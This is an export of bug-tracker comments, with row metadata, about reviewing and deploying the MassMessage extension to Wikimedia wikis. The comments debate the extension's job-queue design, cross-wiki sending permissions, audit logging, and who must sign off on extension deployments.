+251504,Review and deploy MassMessage extension to Wikimedia wikis,"I have a quick question about the extension itself. Maybe I'm reading this code wrong, but the extension appears to iterate through the recipients on the special page, and then make a new job for each recipient. If this is true, that means that this extension would be launching thousands of jobs from a single web request. It kind of defeats the purpose of the job queue in the first place.
+
+Also, do people have some sort of irrational fear of the FormSpecialPage class?",,,1380906258,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+251497,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #48)
+> (In reply to comment #39)
+<snip>
+
+I've filed bug 54954 as a blocker to this one. I've asked a few preliminary questions on how this should be implemented, so if people who have options could comment there please :)",,,1380863370,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1
+251492,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #48)
+If there is any way to do global logs (alongside local ones) this would be a very good place to use that, as that would make all wikis much more easily accountable for any usage of this tool.
+
+That said you're probably right in that just enabling the sending part on meta would be better, since, on top of logs and such all being in one place, usage guidelines and crap would also be better synced. And implicitly trusting all admins isn't necessarily a good idea when different projects can have completely different methods and standards when approaching problems, and on top of that pretty much anyone can become an admin at least somewhere (which isn't even necessarily a bad thing, since if they happen to be in the right place even the most unexpected of folks can prove quite useful, but also doesn't mean it should carry weight elsewhere).
+
+So just have a request page for anyone new to use, and a right that can be added to anyone who ain't an admin if they've general use for the spammer and clearly understand what not to do, or whatever. I'm sure the meta folks can argue out some actual details there.",,,1380862739,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,0
+251488,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #34)
+> [...] Last year, there was a broken core change about timestamping slipped through
+> Platform review and got deployed. Because of that, a better thought-out and
+> previously-developed pending core change for the exact same feature from
+> Werdna
+> got bumped. [...]
+
+The only thing I found is https://gerrit.wikimedia.org/r/#/c/15746 which was merged after ignoring code-review for months, causing a developer and translator revolt.
+
+(In reply to comment #48)
+> So I'm not comfortable with a deploy that amounts to giving admins in every
+> wiki 'massmessage' permission to every other wiki. I'd be fine with 1)
+> limiting
+> the availability of the massmessage permission to Meta, or 2) adding back the
+> global/local message delivery distinction and enabling local delivery on all
+> wikis, and global delivery on Meta.
+> 
+> Better broadcasting tools should still continually be developed, and the
+> imperfections of this approach will hopefully feed into whatever comes next,
+> whether it's an iteration on MassMessage or an entirely new approach.
+
++1
+I think this is totally reasonable and was indeed my only true worry about the extension.
+I'd add the permission to a special group, possibly reusing centralnoticeadmin group, since the first deploy, to avoid needless requests for adminship.
+More than that, we could even try to replicate the logging of the messages content to a wiki page, for enhanced accountability.",,,1380862493,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,True,,,13,,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+251485,Review and deploy MassMessage extension to Wikimedia wikis,s/ReviewerBot/MessengerBot/,,,1380861508,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+251480,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #39)
+> This was considered and it's probably easy enough to implement these
+> restrictions, but as I said above, I'm not sure they're necessary. My view
+> was
+> to take a ""wait and see"" approach. If local administrators begin to abuse or
+> misuse the tool, we can always add in restrictions later.
+
+I would actually look at it differently. Right now, as I understand it, cross-wiki message delivery is only configured to be run from Meta, where it's easy to see who's configuring what ""spams"" and for what audiences. It's easy for folks to have a shared conversation about what's appropriate and what isn't, and even for people to revert additions that they see as unreasonable.
+
+So you've actually created a very clever tool that plays well into the norms of the wiki community, and uses an existing shared space (Meta) in the intended manner.
+
+In contrast, enabling admins everywhere to _easily_ post bulk messages across wikis from anywhere, with the audit trail being HTML comments in the messages that are left, is IMO quite likely to play against the norms of the wiki, because messages _will_ be sent in a manner that's inconsistent with the norms of a given target wiki, and it'll be harder for the community to have a shared conversation about it or even to easily see what's happening (because there is no central message log at that point).
+
+Because actions such as compiling target lists are dispersed, the normal processes of community peer review won't kick in as effectively to moderate and monitor behavior.
+
+Yes, anyone can of course post anywhere today, but not everyone has access to a shared bot account that they can use on any wiki to do so, nor do they have an automated delivery tool. ReviewerBot would suddenly take bot actions on wikis and users would be tasked with figuring out what's going on. That's manageable if the only possible source is Meta, but more problematic if the source is any of our wikis.
+
+Cross-wiki bulk messages to anywhere from anywhere are a significant change from the status quo that requires more consideration. And on that point, WMF will certainly get the blame if the tool is misused.
+
+So I'm not comfortable with a deploy that amounts to giving admins in every wiki 'massmessage' permission to every other wiki. I'd be fine with 1) limiting the availability of the massmessage permission to Meta, or 2) adding back the global/local message delivery distinction and enabling local delivery on all wikis, and global delivery on Meta.
+
+Better broadcasting tools should still continually be developed, and the imperfections of this approach will hopefully feed into whatever comes next, whether it's an iteration on MassMessage or an entirely new approach.",,,1380861333,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+251473,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:
+
+> > To the first document which has its origins in the SVN days, the first stop
+> > with Howie Fung and his product management team. To my knowledge the only
+> > person asked was a Dan Garry, and not as a first stop on anything. 
+> 
+> Dan was cc'd by Greg in comment 13. I wasn't aware that Platform and/or
+> Features were supposed to be in the loop so I never bothered to do it.
+
+It's unfortunate. Dan is new and is not really in a position to speak for product, and I don't think that was the intent of comment 13 to make him make a call.
+
+The implication of Platform or Features is in the later stage of code review for deployment. There was a time that Sumana would manage that using 20% time volunteered by Features, but that was over a year ago. :-( Since then commitment to maintain deployed extensions has fallen through the crack between Platform and Features.
+
+> Correct. I had spoken with Greg a few days earlier about emailing wikitech-l
+> /
+> Aaron / Tim for the architecture review, and he recommended that I wait for
+> your comments ;-)
+
+Oh, well then why was it added to the deploy calendar? Can we remove it backand wait for comments to make sure it's okay to deploy before adding it to the lsit of things to be deployed? As it stands now, my position is I'm okay with it because Ori is okay with helping you support and monitor it for issues that might crop up like comment 37 above.
+
+> > The second document is newly written by Platform not vetted by anyone in
+> > Features.
+> 
+> For someone outside of the WMF who is trying to get an extension deployed,
+> the
+> distinction between Platform and Features isn't very clear, nor really
+> important. Was VipsScaler (also written by a volunteer) handled by Features?
+
+No, and in earlier incarnations of the queue, I think [[mw:VipsScaler]] was linked. Development on it was started in 2011, I think multimedia team (originally a Features team, now in Platform) deployed it. That team is obviously committed to maintain. :-)
+
+> All we really want is our code deployed :P
+
+Totally understandable. :-)
+
+
+> The checklist is fine, it just seems like its missing one step according to
+> you
+> (notify Features and/or Platform teams).
+
+I'm okay with clarifying that a design review means a product design review and PM signoff and adding that a plan for engineering, product, and design maintenance needs to be in place going forward (beyond simply bugzilla).",,,1380858967,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+251469,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:
+
+(In reply to comment #41)
+> (In reply to comment #7)
+> > == TODO/Check list ==
+> > Extension page on mediawiki.org: yes
+> > Bugzilla component: yes
+> > Extension in Gerrit: yes
+> > Design Review: no
+> > Archeticecture/Performance Review: no
+> > Security Review: no
+> > Screencast (if applicable): no
+> > Community support: no?
+> 
+> As a designer, I did a design review over IRC. I said something along the
+> lines
+> of 'looks shiny'.
+> 
+> I hope that helps, as I'm not sure what more you could want with this kind of
+> extension. Other issues beyond the interface itself have generally already
+> been
+> established by precedent (EdwardsBot).
+
+We'd have to ask Greg what he really meant by this when he added that to [[mw:Review queue]] instead of leaving the process pointing back to [[mw:Writing_an_extension_for_deployment]], but if I were to hazard a guess:
+
+I think Greg tried to clear the review queue because it was suffering from neglect. He tried summarize the original linked document: [[mw:Writing_an_extension_for_deployment#Design_review]] by saying it has a proper ""design review."" It clearly implies design review as being a product design review with a design UI design component [[mw:WMF_Project_Design_Review_Process]] probably dating back to when they were in the same department.
+
+If you look at an earlier revision [https://www.mediawiki.org/w/index.php?title=Review_queue&oldid=697844], you can see the tracking list that was its original purpose since Brion created it. Around that time, it was getting unmanageable four months ago with little movement. My guess is that there simply had been no recent Extensions (other than in-flight extensions like Math and SignupAPI) that had actually gone through this process and in an effort to systematize the process into a workable checklist, it got morphed over time from ""send it to product design for review"" to ""send an e-mail to a designer and to the design mailing list."" *shrug*",,,1380857974,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0,1,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+251466,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #40)
+> (In reply to comment #38)
+> 
+> > > The requirement for extensions to be deployed has ALWAYS been that Features
+> > > Engineering sign off on a commitment to maintain the extension.
+> > 
+> > This isn't consistent with the documentation at [[mw:Writing an extension for
+> > deployment]], [[mw:Review queue]] and Greg's checklist in comment 7.
+> 
+> Interesting links.
+> 
+> To the first document which has its origins in the SVN days, the first stop
+> with Howie Fung and his product management team. To my knowledge the only
+> person asked was a Dan Garry, and not as a first stop on anything. 
+
+Dan was cc'd by Greg in comment 13. I wasn't aware that Platform and/or Features were supposed to be in the loop so I never bothered to do it.
+
+> I mentioned
+> in my original post why that people should know better. The second stop was
+> wikitech-l. To my knowledge mine was the first post on the subject.
+
+Correct. I had spoken with Greg a few days earlier about emailing wikitech-l / Aaron / Tim for the architecture review, and he recommended that I wait for your comments ;-)
+
+
+> The second document is newly written by Platform not vetted by anyone in
+> Features.
+
+For someone outside of the WMF who is trying to get an extension deployed, the distinction between Platform and Features isn't very clear, nor really important. Was VipsScaler (also written by a volunteer) handled by Features? All we really want is our code deployed :P
+ 
+> The third link refers to someone who has been at the WMF even less time than
+> me. If we're to use MZMcBrides seniority rules, the fact that some
+> newly-minted, improperly vetted document was used by a relatively new
+> engineer
+> doesn't carry weight.
+
+The checklist is fine, it just seems like its missing one step according to you (notify Features and/or Platform teams).
+
+> I hope that documentation is updated.
+
+Be bold!",,,1380856387,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+251460,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #41)
+> As a designer, I did a design review over IRC. I said something along the
+> lines
+> of 'looks shiny'.
+
+For reference, Isarra created [[commons:File:Massmessage preview (uncyc).png]], and pointed out a few flaws in the initial design, like using tables for the form (now switched to proper <div>s), and the submit/preview buttons stacked on top of each other (now side-by-side).",,,1380855315,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+251455,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #39)
+> (In reply to comment #37)
+> > Is the current thinking to give users on any wiki the right to use
+> > Special:MassMessage to spam users on any other wiki?
+> 
+> Yes. The design idea here was that this is already possibly by any user.
+> Anyone
+> can open up a bunch of browser tabs and post to dozens of wikis quickly
+> without
+> even logging in. Or, for example, I've been posting to hundreds of wikis for
+> years without a privileged account using only a very simple Python script.
+
+It might be worth noting that the MassMessage bot account used automatically adds itself to the 'bot' group, but isn't able to override full protections or anything like that.
+
+> 
+> > It seems to me you'd want something like:
+> > 
+> > * Users on Meta can trigger cross-wiki notifications;
+> > * Users on any other wiki can only trigger local notifications.
+> 
+> This was considered and it's probably easy enough to implement these
+> restrictions, but as I said above, I'm not sure they're necessary.
+
+An initial version of the extension had this differentiation, but it was removed in https://gerrit.wikimedia.org/r/#/c/78047/. I don't mind revisiting the concept either (file a bug for it?), as it wouldn't be hard to implement technically.
+
+> My view was
+> to take a ""wait and see"" approach. If local administrators begin to abuse or
+> misuse the tool, we can always add in restrictions later.
+> 
+> > Otherwise you end up with an audit trail mess. Having a single log in one
+> > place and a single place to set policy around these things seems highly
+> > desirable.
+
+I actually wrote [[mw:Extension:CentralLogging]] for this problem a while back, but it wouldn't work in the WMF environment.
+
+  
+> The bot currently provides an audit trail by (optionally?) appending an HTML
+> comment containing the originating wiki, message sender's name, etc., I
+> believe. Lego can confirm this.
+
+The audit trail is not optional (though a wiki could choose to blank the message and make it useless). An example is <https://test2.wikipedia.org/w/index.php?title=User_talk:Legoktm&action=edit&section=2>, which includes the origin wiki, sender, and spamlist used.",,,1380855098,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+251447,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #40)
+> Do you have a link to this doctrine regarding software deployments and
+> sign-offs? [...] perhaps there's a guideline you've written on mediawiki.org,
+> wikitech.wikimedia.org, or Meta-Wiki. Please share.
+
+Go on. I'll wait.",,,1380854469,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+251440,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #7)
+> == TODO/Check list ==
+> Extension page on mediawiki.org: yes
+> Bugzilla component: yes
+> Extension in Gerrit: yes
+> Design Review: no
+> Archeticecture/Performance Review: no
+> Security Review: no
+> Screencast (if applicable): no
+> Community support: no?
+
+As a designer, I did a design review over IRC. I said something along the lines of 'looks shiny'.
+
+I hope that helps, as I'm not sure what more you could want with this kind of extension. Other issues beyond the interface itself have generally already been established by precedent (EdwardsBot).",,,1380854018,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,0,1,0,1
+251438,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:
+
+You're going to resort to ad hominem instead of attacking the argument when you're already getting what you want?
+
+I am not trying to ""dictate"" anything to volunteers. Volunteers didn't deploy the code onto test and test2, it was Reedy. Volunteers are free to develop. They're not free to have their developed code deployed on the cluster. Nobody is.
+
+As for the proof of this ""doctrine,"" just like MediaWiki core has always been the responsibility of Platform, the Extensions space has traditionally been the responsibility of Features Engineering. Historically, new extension deploy and a commitment to deploy was done by Brion and later by Roan. This used to be enforced in terms of SVN access, and the artifact still exists in the form of who has +2 on Gerrit. In the case of deploying a new extension, it requires +2 on gerrit, shell access, and an implied commitment to maintain.
+
+I've been trying to relax this as I feel this is unscalable solution, but with that right comes the responsibility. If you or other community developers are unwilling to hold yourselves to the same responsibility that every engineer of the Foundation is held to, you are free to do so. But nobody has the right to have +2, nobody has the right to shell access, etc. Just as Platform and Ops reserve the right as policy to rescind my +2 access and my non-existent shell access, they could rescind anyone else's, even yours if it existed.
+  
+
+(In reply to comment #38)
+
+> > The requirement for extensions to be deployed has ALWAYS been that Features
+> > Engineering sign off on a commitment to maintain the extension.
+> 
+> This isn't consistent with the documentation at [[mw:Writing an extension for
+> deployment]], [[mw:Review queue]] and Greg's checklist in comment 7.
+
+Interesting links.
+
+To the first document which has its origins in the SVN days, the first stop with Howie Fung and his product management team. To my knowledge the only person asked was a Dan Garry, and not as a first stop on anything. I mentioned in my original post why that people should know better. The second stop was wikitech-l. To my knowledge mine was the first post on the subject.
+
+The second document is newly written by Platform not vetted by anyone in Features. I assume that if Platform wants to operate that way then they're committed to maintaining an extension approved that that process, that's cool with me and entirely consistent to my statements. In it's original incarnation it was Sumana's way of managing code review of existing extensions.
+
+The third link refers to someone who has been at the WMF even less time than me. If we're to use MZMcBrides seniority rules, the fact that some newly-minted, improperly vetted document was used by a relatively new engineer doesn't carry weight.
+
+I hope that documentation is updated.",,,1380853822,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1
+251434,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #37)
+> Is the current thinking to give users on any wiki the right to use
+> Special:MassMessage to spam users on any other wiki?
+
+Yes. The design idea here was that this is already possibly by any user. Anyone can open up a bunch of browser tabs and post to dozens of wikis quickly without even logging in. Or, for example, I've been posting to hundreds of wikis for years without a privileged account using only a very simple Python script. The difference here in functionality isn't very big. The primary difference is that we're adding a proper user interface for delivery submissions and reducing the need for an external dependency (a bot).
+
+> It seems to me you'd want something like:
+> 
+> * Users on Meta can trigger cross-wiki notifications;
+> * Users on any other wiki can only trigger local notifications.
+
+This was considered and it's probably easy enough to implement these restrictions, but as I said above, I'm not sure they're necessary. My view was to take a ""wait and see"" approach. If local administrators begin to abuse or misuse the tool, we can always add in restrictions later.
+
+> Otherwise you end up with an audit trail mess. Having a single log in one
+> place and a single place to set policy around these things seems highly
+> desirable.
+
+Again, anyone can go around posting messages to any wiki right now without even logging in. Giving local administrators the ability to send cross-wiki messages with a simpler tool doesn't seem to warrant much concern from my perspective, but if you consider this a requirement for wider deployment, Lego can add in the restrictions.
+
+The bot currently provides an audit trail by (optionally?) appending an HTML comment containing the originating wiki, message sender's name, etc., I believe. Lego can confirm this.",,,1380853667,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,0,1
+251431,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #35)
+> Ori has stepped up and is willing to commit his time to help Legoktm in
+> supporting MassMessage on an ongoing basis. According to the current standard
+> of the above, there is no longer any block on bug 52723.
+
+Thank you Ori!
+
+> The requirement for extensions to be deployed has ALWAYS been that Features
+> Engineering sign off on a commitment to maintain the extension.
+
+This isn't consistent with the documentation at [[mw:Writing an extension for deployment]], [[mw:Review queue]] and Greg's checklist in comment 7.",,,1380853061,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+251426,Review and deploy MassMessage extension to Wikimedia wikis,"Is the current thinking to give users on any wiki the right to use Special:MassMessage to spam users on any other wiki?
+
+It seems to me you'd want something like:
+
+* Users on Meta can trigger cross-wiki notifications;
+* Users on any other wiki can only trigger local notifications.
+
+Otherwise you end up with an audit trail mess. Having a single log in one place and a single place to set policy around these things seems highly desirable. If we're on the same page on that, I'm significantly less concerned about the long term impact of the extension.",,,1380852890,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,1,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,1,0,0
+251420,Review and deploy MassMessage extension to Wikimedia wikis,"(In reply to comment #35)
+> The requirement for extensions to be deployed has ALWAYS been that Features
+> Engineering sign off on a commitment to maintain the extension.
+
+You've been at the Wikimedia Foundation for, what, two years? You really feel it's appropriate to lecture me and others about how things have ""always"" been? You seem to have absolutely no sense of how software deployments have operated for the majority of Wikimedia's existence.
+
+You're attempting to dictate to volunteers as though they're your subordinates. This is wildly inappropriate.
+
+Do you have a link to this doctrine regarding software deployments and sign-offs? As far as I can tell, you've just made it up here on this bug. But perhaps there's a guideline you've written on mediawiki.org, wikitech.wikimedia.org, or Meta-Wiki. Please share.",,,1380851998,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,0,0,1,1,0,1,1,0,1,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+251413,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:
+
+Ori has stepped up and is willing to commit his time to help Legoktm in supporting MassMessage on an ongoing basis. According to the current standard of the above, there is no longer any block on bug 52723.
+
+Time still has to be made to handle the rollout, but I'm assuming what is already in-process in Platform, and Ori can assist beyond that.
+
+The requirement for extensions to be deployed has ALWAYS been that Features
+Engineering sign off on a commitment to maintain the extension. I've relaxed it
+to be: ""If another engineering department in collaboration with product is
+willing to commit to it, Features will not block."" I'd like to someday relax
+this further to: ""If any engineering department or community development in
+collaboration with the other core competencies (features, product, design, and
+community) are willing to commit to it, no one should block."" We are not there
+yet, and trying to rail against that is winning a battle at the cost of the war
+breaking down these silos and having shared ownership and responsibility in our
+organization, in our community, and in our movement.
+
+Please realize the current state of affairs is that new Extension deploy can be done under the following frameworks:
+
+1) The traditional ""Features signs off on all extensions"" that has always been in place. For Features to sign off on this, like with our own engineering staff, we require collaboration and buy-in in affected areas like the product managers and designers who will lose productivity or might be retasked on this. We must be good stewards of each-others times, and I would not have permitted (and will not permit) my engineers to task Platform and Design engineers for MassMessage in the manner that has happened to date (water under the bridge at this point).
+2) The above can and has been be bypassed on a directive from the VPE as was the case for BetaFeatures.
+3) Like LanguageEngineering's use of TranslationNotifications instead of Echo, if another team consisting of engineering, product, and design is willing to commit to supporting on an ongoing basis, then extension deploy proceeds without the traditional rule of discussing Features. Note, in this example we have an assumption that the feature set of MassMessage is as-is so it currently doesn't involve Product or Design, nor does it require more engineering resources inside the WMF beyond Ori who is currently untasked.
+
+We still eventually want to reach the point where the criteria is not the amalgam of rules above but a simpler one based on intent, expertise-sharing and consensus-building: ""If any engineering department or community developer in collaboration with the other core competencies (engineering, product, design, and community) are willing to commit to ongoing maintenance of a feature, then no one group should block it.""
+
+We haven't reached there yet, and please realize that when me make exceptions as in this case, it compromises the larger picture of our need to break down these silos and create shared ownership and responsibility in the WMF, in our communities, and in the movement as a whole.",,,1380851471,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ymnidmb2ap2g4se52stx,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+251407,Review and deploy MassMessage extension to Wikimedia wikis,"**tchay** wrote:
+
+(In reply to comment #33)
+
+> This comparison carries no value: 1) LQT can't be undeployed because we'd
+> lose
+> critical data (discussions) from the wiki, 2) AFT is being expanded right now
+> with no exit strategy I'm aware of (probably under the understanding that
+> nobody cares if all that data disappears from the wikis after undeployment).
+
+It carries more value that bug 31235 does to implement bug 52723. MassMessage is an extension, as an extension it is under the same rules as all other extensions for deployment.
+
+1) LQT can't be underplayed and we're stuck with it for an uncertainf eatures
+2) ReaderFeedback, AFT, and AFTv5 are all different extensions.
+
+> I highly doubt I do. My sentence started with an ""If"" for a reason: I've no
+> idea who's responsible for Echo.
+
+Then I apologize, it's easy to read your statement and not have the hidden assumption that someone is responsible for Echo. Nobody is, it, like everything else, is a shared responsibility.
+
+> Let me note that I asked how you planned to coordinate with other pieces of
+> code/devs working in this area already 9 months ago: [[m:IRC office
+> hours/2013-01-08]].
+
